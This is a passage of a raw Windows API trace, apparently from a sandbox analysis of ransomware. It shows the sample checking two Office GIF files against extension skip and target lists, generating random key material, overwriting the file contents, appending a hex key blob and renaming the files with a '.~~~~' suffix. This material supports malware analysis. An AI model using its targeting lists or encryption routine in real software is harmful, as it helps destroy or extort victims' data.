	[0143.008] lstrlenW (lpString=".DB") returned 3
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DB") returned 0x0
	[0143.008] lstrlenW (lpString=".sql") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".sql") returned 0x0
	[0143.008] lstrlenW (lpString=".MYD") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".MYD") returned 0x0
	[0143.008] lstrlenW (lpString=".DBT") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DBT") returned 0x0
	[0143.008] lstrlenW (lpString=".ACCDB") returned 6
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.009] lstrlenW (lpString=".fdb") returned 4
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".fdb") returned 0x0
	[0143.009] lstrlenW (lpString=".bak") returned 4
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".bak") returned 0x0
	[0143.009] lstrlenW (lpString=".myd") returned 4
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".myd") returned 0x0
	[0143.009] lstrlenW (lpString=".DTXS") returned 5
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.009] lstrlenW (lpString=".ckp") returned 4
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".ckp") returned 0x0
	[0143.009] lstrlenW (lpString=".dbt") returned 4
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dbt") returned 0x0
	[0143.009] lstrlenW (lpString=".db") returned 3
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".db") returned 0x0
	[0143.009] lstrlenW (lpString=".TXT") returned 4
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".TXT") returned 0x0
	[0143.009] lstrlenW (lpString=".MDF") returned 4
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".MDF") returned 0x0
	[0143.009] lstrlenW (lpString=".bdb") returned 4
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".bdb") returned 0x0
	[0143.009] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0143.010] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0143.011] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0143.011] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0143.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.011] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26300125152) returned 1
	[0143.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbea4b790, dwHighDateTime=0x1d60e1e)) 
	[0143.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5690
	[0143.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5690 | out: hHeap=0x300000) returned 1
	[0143.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aac50
	[0143.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aac50 | out: hHeap=0x300000) returned 1
	[0143.012] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.012] GetLastError () returned 0x0
	[0143.012] GetLastError () returned 0x0
	[0143.013] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.013] GetLastError () returned 0x0
	[0143.013] GetLastError () returned 0x0
	[0143.013] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x98a, lpOverlapped=0x0) returned 1
	[0143.015] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff676, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.015] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x98a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x98a, lpOverlapped=0x0) returned 1
	[0143.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.015] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.016] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.016] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.016] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.016] CloseHandle (hObject=0x104) returned 1
	[0143.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aac50
	[0143.016] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif.~~~~")) returned 1
	[0143.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aac50 | out: hHeap=0x300000) returned 1
	[0143.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.019] GetLastError () returned 0x0
	[0143.019] RtlWakeConditionVariable () returned 0x0
	[0143.019] GetCurrentThreadId () returned 0x9cc
	[0143.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".scr") returned 0x0
	[0143.019] lstrlenW (lpString=".cmd") returned 4
	[0143.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".cmd") returned 0x0
	[0143.019] lstrlenW (lpString=".dll") returned 4
	[0143.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dll") returned 0x0
	[0143.019] lstrlenW (lpString=".bat") returned 4
	[0143.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".bat") returned 0x0
	[0143.019] lstrlenW (lpString=".cpl") returned 4
	[0143.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".cpl") returned 0x0
	[0143.019] lstrlenW (lpString=".sys") returned 4
	[0143.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".sys") returned 0x0
	[0143.019] lstrlenW (lpString=".msc") returned 4
	[0143.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".msc") returned 0x0
	[0143.020] lstrlenW (lpString=".com") returned 4
	[0143.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".com") returned 0x0
	[0143.020] lstrlenW (lpString=".lnk") returned 4
	[0143.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".lnk") returned 0x0
	[0143.020] lstrlenW (lpString=".msp") returned 4
	[0143.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".msp") returned 0x0
	[0143.020] lstrlenW (lpString=".pif") returned 4
	[0143.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".pif") returned 0x0
	[0143.020] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.022] lstrlenW (lpString=".sqb") returned 4
	[0143.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".sqb") returned 0x0
	[0143.022] lstrlenW (lpString=".ost") returned 4
	[0143.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".ost") returned 0x0
	[0143.022] lstrlenW (lpString=".txt") returned 4
	[0143.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".txt") returned 0x0
	[0143.022] lstrlenW (lpString=".mdt") returned 4
	[0143.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".mdt") returned 0x0
	[0143.022] lstrlenW (lpString=".BDB") returned 4
	[0143.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".BDB") returned 0x0
	[0143.022] lstrlenW (lpString=".eql") returned 4
	[0143.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".eql") returned 0x0
	[0143.022] lstrlenW (lpString=".DBF") returned 4
	[0143.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DBF") returned 0x0
	[0143.023] lstrlenW (lpString=".EQL") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".EQL") returned 0x0
	[0143.023] lstrlenW (lpString=".FDB") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".FDB") returned 0x0
	[0143.023] lstrlenW (lpString=".EDB") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".EDB") returned 0x0
	[0143.023] lstrlenW (lpString=".DACPAC") returned 7
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.023] lstrlenW (lpString=".VHD") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".VHD") returned 0x0
	[0143.023] lstrlenW (lpString=".DBV") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DBV") returned 0x0
	[0143.023] lstrlenW (lpString=".dacpac") returned 7
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.023] lstrlenW (lpString=".sdf") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".sdf") returned 0x0
	[0143.023] lstrlenW (lpString=".accdb") returned 6
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".accdb") returned 0x0
	[0143.023] lstrlenW (lpString=".DBX") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DBX") returned 0x0
	[0143.023] lstrlenW (lpString=".MDT") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".MDT") returned 0x0
	[0143.023] lstrlenW (lpString=".SQB") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".SQB") returned 0x0
	[0143.023] lstrlenW (lpString=".vhd") returned 4
	[0143.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".vhd") returned 0x0
	[0143.023] lstrlenW (lpString=".bac") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".bac") returned 0x0
	[0143.024] lstrlenW (lpString=".mdf") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".mdf") returned 0x0
	[0143.024] lstrlenW (lpString=".BAK") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".BAK") returned 0x0
	[0143.024] lstrlenW (lpString=".BAC") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".BAC") returned 0x0
	[0143.024] lstrlenW (lpString=".dbs") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dbs") returned 0x0
	[0143.024] lstrlenW (lpString=".vhdx") returned 5
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.024] lstrlenW (lpString=".NDF") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".NDF") returned 0x0
	[0143.024] lstrlenW (lpString=".dat") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dat") returned 0x0
	[0143.024] lstrlenW (lpString=".DBS") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DBS") returned 0x0
	[0143.024] lstrlenW (lpString=".CKP") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".CKP") returned 0x0
	[0143.024] lstrlenW (lpString=".edb") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".edb") returned 0x0
	[0143.024] lstrlenW (lpString=".PST") returned 4
	[0143.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".PST") returned 0x0
	[0143.024] lstrlenW (lpString=".dbf") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dbf") returned 0x0
	[0143.025] lstrlenW (lpString=".SQL") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".SQL") returned 0x0
	[0143.025] lstrlenW (lpString=".pst") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".pst") returned 0x0
	[0143.025] lstrlenW (lpString=".dbv") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dbv") returned 0x0
	[0143.025] lstrlenW (lpString=".SDF") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".SDF") returned 0x0
	[0143.025] lstrlenW (lpString=".dtxs") returned 5
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.025] lstrlenW (lpString=".db3") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".db3") returned 0x0
	[0143.025] lstrlenW (lpString=".OST") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".OST") returned 0x0
	[0143.025] lstrlenW (lpString=".dbx") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dbx") returned 0x0
	[0143.025] lstrlenW (lpString=".DB3") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DB3") returned 0x0
	[0143.025] lstrlenW (lpString=".DAT") returned 4
	[0143.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DAT") returned 0x0
	[0143.025] lstrlenW (lpString=".VHDX") returned 5
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.026] lstrlenW (lpString=".ndf") returned 4
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".ndf") returned 0x0
	[0143.026] lstrlenW (lpString=".DB") returned 3
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DB") returned 0x0
	[0143.026] lstrlenW (lpString=".sql") returned 4
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".sql") returned 0x0
	[0143.026] lstrlenW (lpString=".MYD") returned 4
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".MYD") returned 0x0
	[0143.026] lstrlenW (lpString=".DBT") returned 4
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DBT") returned 0x0
	[0143.026] lstrlenW (lpString=".ACCDB") returned 6
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.026] lstrlenW (lpString=".fdb") returned 4
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".fdb") returned 0x0
	[0143.026] lstrlenW (lpString=".bak") returned 4
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".bak") returned 0x0
	[0143.026] lstrlenW (lpString=".myd") returned 4
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".myd") returned 0x0
	[0143.026] lstrlenW (lpString=".DTXS") returned 5
	[0143.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.026] lstrlenW (lpString=".ckp") returned 4
	[0143.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".ckp") returned 0x0
	[0143.027] lstrlenW (lpString=".dbt") returned 4
	[0143.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".dbt") returned 0x0
	[0143.027] lstrlenW (lpString=".db") returned 3
	[0143.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".db") returned 0x0
	[0143.027] lstrlenW (lpString=".TXT") returned 4
	[0143.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".TXT") returned 0x0
	[0143.027] lstrlenW (lpString=".MDF") returned 4
	[0143.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".MDF") returned 0x0
	[0143.027] lstrlenW (lpString=".bdb") returned 4
	[0143.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".bdb") returned 0x0
	[0143.027] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0143.027] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395498) returned 1
